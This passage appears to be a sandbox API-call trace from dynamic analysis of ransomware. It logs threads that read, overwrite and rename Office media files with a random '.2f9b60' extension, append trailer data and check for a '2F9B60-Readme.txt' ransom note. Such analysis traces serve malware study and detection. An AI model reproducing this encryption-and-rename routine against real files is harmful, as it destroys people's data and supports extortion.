cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0099.654] wcscmp (_String1="CAGCAT10.MML", _String2=".") returned 1 [0099.654] wcscmp (_String1="CAGCAT10.MML", _String2="..") returned 1 [0099.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202af4f0 [0099.654] wcscpy (in: _Dest=0x202af4f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" [0099.654] wcscat (in: _Dest=0x202af4f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" [0099.655] wcscat (in: _Dest=0x202af4f0, _Source="CAGCAT10.MML" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" [0127.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x199c [0127.853] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0127.853] FindClose (in: hFindFile=0x1b858d90 | out: hFindFile=0x1b858d90) returned 1 [0127.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57dc0) returned 1 [0127.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0127.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 Thread: id = 739 os_tid = 0x1270 [0098.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0099.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW", dwFileAttributes=0x20) returned 1 [0099.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1584 [0099.660] GetFileSizeEx (in: hFile=0x1584, lpFileSize=0x1d84fd20 | out: lpFileSize=0x1d84fd20*=394200) returned 1 [0099.660] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x603d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.660] ReadFile (in: hFile=0x1584, lpBuffer=0x1d84fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d84fce8, lpOverlapped=0x0 | out: lpBuffer=0x1d84fca0*, lpNumberOfBytesRead=0x1d84fce8*=0x4, lpOverlapped=0x0) returned 1 [0099.737] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624b0 [0099.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0099.737] NtQuerySystemTime (in: CurrentTime=0x1d84fbe0 | out: CurrentTime=0x1d84fbe0*=132462177052606000) returned 0x0 [0099.737] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x6c1c2836 [0099.737] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x5ae5f88c [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x6a2c1bd7 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x69ac94c1 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x2aa4f8df [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x5e81722d [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x33981a91 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x1c61d125 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x754a03c8 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x11f4b26 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x7291db4a [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x349a56dd [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x3527a879 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x1a23cab9 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0xfb2cb48 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x77f54d94 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x670946b6 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x4ca53b7a [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x6b9b2016 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0xefce001 [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x169f5cde [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x1800c82b [0099.738] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x28878a15 [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x56507486 [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x40a6bc81 [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x530697e3 [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x40725f3b [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x18181cfd [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x4c81a402 [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x72e2fb98 [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x2f86b134 [0099.739] RtlRandomEx (in: Seed=0x1d84fbd0 | out: Seed=0x1d84fbd0) returned 0x79224dea [0099.750] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.750] ReadFile (in: hFile=0x1584, lpBuffer=0x20184990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d84fc40, lpOverlapped=0x0 | out: lpBuffer=0x20184990*, lpNumberOfBytesRead=0x1d84fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.235] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0100.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869840 [0100.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2047b690 [0100.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a20 [0100.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261310 [0100.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261310) returned 1 [0100.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869840) returned 1 [0100.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0100.796] WriteFile (in: hFile=0x1584, lpBuffer=0x2047b690*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d84fc40, lpOverlapped=0x0 | out: lpBuffer=0x2047b690*, lpNumberOfBytesWritten=0x1d84fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0147.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2047b690) returned 1 [0147.832] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.832] ReadFile (in: hFile=0x1584, lpBuffer=0x20184990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d84fc40, lpOverlapped=0x0 | out: lpBuffer=0x20184990*, lpNumberOfBytesRead=0x1d84fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0148.021] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6980 [0148.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6980) returned 1 [0148.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4202e130 [0148.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6980 [0148.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0148.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67a0) returned 1 [0148.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.022] WriteFile (hFile=0x1584, lpBuffer=0x4202e130, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d84fc40, lpOverlapped=0x0) [0180.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4202e130) returned 1 [0180.176] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x5c7d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.176] ReadFile (in: hFile=0x1584, lpBuffer=0x20184990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d84fc40, lpOverlapped=0x0 | out: lpBuffer=0x20184990*, lpNumberOfBytesRead=0x1d84fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0182.160] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x5c7d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f330 [0182.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f330) returned 1 [0182.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20240d80 [0182.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f330 [0182.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f360 [0182.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f360) returned 1 [0182.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.163] WriteFile (in: hFile=0x1584, lpBuffer=0x20240d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d84fc40, lpOverlapped=0x0 | out: lpBuffer=0x20240d80*, lpNumberOfBytesWritten=0x1d84fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0198.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20240d80) returned 1 [0198.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fc90 [0198.805] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.805] WriteFile (in: hFile=0x1584, lpBuffer=0x431f5640*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x1d84fcf0, lpOverlapped=0x0 | out: lpBuffer=0x431f5640*, lpNumberOfBytesWritten=0x1d84fcf0*=0x14a, lpOverlapped=0x0) returned 1 [0203.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f70 [0203.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7f70) returned 1 [0203.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f120 [0203.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f70 [0203.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ee0 [0203.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ee0) returned 1 [0203.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e270 [0203.771] sprintf (in: _Dest=0x1ce5e270, _Format="%c%c" | out: _Dest="ff") returned 2 [0203.771] sprintf (in: _Dest=0x1ce5e272, _Format="%c%c" | out: _Dest="a8") returned 2 [0203.771] sprintf (in: _Dest=0x1ce5e274, _Format="%c%c" | out: _Dest="90") returned 2 [0203.771] sprintf (in: _Dest=0x1ce5e276, _Format="%c%c" | out: _Dest="e2") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e278, _Format="%c%c" | out: _Dest="45") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e27a, _Format="%c%c" | out: _Dest="a2") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e27c, _Format="%c%c" | out: _Dest="56") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e27e, _Format="%c%c" | out: _Dest="f7") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e280, _Format="%c%c" | out: _Dest="5c") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e282, _Format="%c%c" | out: _Dest="0c") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e284, _Format="%c%c" | out: _Dest="d9") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e286, _Format="%c%c" | out: _Dest="e9") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e288, _Format="%c%c" | out: _Dest="5c") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e28a, _Format="%c%c" | out: _Dest="6f") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e28c, _Format="%c%c" | out: _Dest="49") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e28e, _Format="%c%c" | out: _Dest="80") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e290, _Format="%c%c" | out: _Dest="c9") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e292, _Format="%c%c" | out: _Dest="83") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e294, _Format="%c%c" | out: _Dest="df") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e296, _Format="%c%c" | out: _Dest="3e") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e298, _Format="%c%c" | out: _Dest="51") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e29a, _Format="%c%c" | out: _Dest="ba") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e29c, _Format="%c%c" | out: _Dest="63") returned 2 [0203.772] sprintf (in: _Dest=0x1ce5e29e, _Format="%c%c" | out: _Dest="b9") returned 2 [0203.772] RtlInitAnsiString (in: DestinationString=0x1d84fd68, SourceString="ffa890e245a256f75c0cd9e95c6f4980c983df3e51ba63b9" | out: DestinationString="ffa890e245a256f75c0cd9e95c6f4980c983df3e51ba63b9") [0203.772] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d84fd38, SourceString="ffa890e245a256f75c0cd9e95c6f4980c983df3e51ba63b9", AllocateDestinationString=1 | out: DestinationString="ffa890e245a256f75c0cd9e95c6f4980c983df3e51ba63b9") returned 0x0 [0203.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309fbb0 [0203.773] wcscat (in: _Dest=0x431c4f40, _Source="ffa890e245a2" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ffa890e245a2") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ffa890e245a2" [0203.773] wcscat (in: _Dest=0x431c4f40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ffa890e245a2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ffa890e245a2.2f9b60" [0203.773] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ffa890e245a2.2f9b60", NtPathName=0x1d84fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ffa890e245a2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431314e0 [0207.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431314e0) returned 1 [0207.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43224390) returned 1 [0207.764] NtQueryInformationFile (in: FileHandle=0x1584, IoStatusBlock=0x1d84fd78, FileInformation=0x1d84fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d84fd78, FileInformation=0x1d84fd88) returned 0x0 [0207.764] NtSetInformationFile (FileHandle=0x1584, IoStatusBlock=0x1d84fd78, FileInformation=0x1d84fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c4f40) returned 1 [0209.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309fbb0) returned 1 [0209.568] FlushFileBuffers (hFile=0x1584) returned 1 [0210.286] CloseHandle (hObject=0x1584) returned 1 [0217.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x431a22b0 [0217.615] wcscpy (in: _Dest=0x431a22b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0217.615] wcscat (in: _Dest=0x431a22b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0217.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0217.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a22b0) returned 1 [0217.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dbf0) returned 1 Thread: id = 740 os_tid = 0x1274 [0098.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav")) returned 0x20 [0099.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV", dwFileAttributes=0x20) returned 1 [0099.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1580 [0099.658] GetFileSizeEx (in: hFile=0x1580, lpFileSize=0x1d36fc00 | out: lpFileSize=0x1d36fc00*=22618) returned 1 [0099.658] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x5856, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.658] ReadFile (in: hFile=0x1580, lpBuffer=0x1d36fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d36fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1d36fb80*, lpNumberOfBytesRead=0x1d36fbc8*=0x4, lpOverlapped=0x0) returned 1 [0100.451] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639b0 [0100.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0100.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a10 [0100.452] NtQuerySystemTime (in: CurrentTime=0x1d36fac0 | out: CurrentTime=0x1d36fac0*=132462177059782000) returned 0x0 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x5cbc10cd [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x68ced2e8 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x10181e7b [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x25c2f2a5 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x29342653 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x7f96f054 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x1c3dd036 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x658a96d1 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x5e8697d0 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x2f7d1a4d [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x7fa7949f [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x1cfd187 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x37fd55aa [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x2258282b [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x130c3ad0 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x3e88e427 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x14a75bd5 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x7faf3801 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0xe777922 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x6e56a8bb [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x102ff9c8 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x6f5a2d95 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x2a2c6c34 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x6d94239f [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x66b7ef00 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x1e71c8dc [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x53f69dde [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x71c2edc3 [0100.452] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x76786a53 [0100.453] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x22422be3 [0100.453] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x42050012 [0100.453] RtlRandomEx (in: Seed=0x1d36fab0 | out: Seed=0x1d36fab0) returned 0x5bbb1135 [0100.929] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.930] ReadFile (in: hFile=0x1580, lpBuffer=0x4202e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d36fb20, lpOverlapped=0x0 | out: lpBuffer=0x4202e130*, lpNumberOfBytesRead=0x1d36fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0101.659] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0101.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869e40 [0101.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 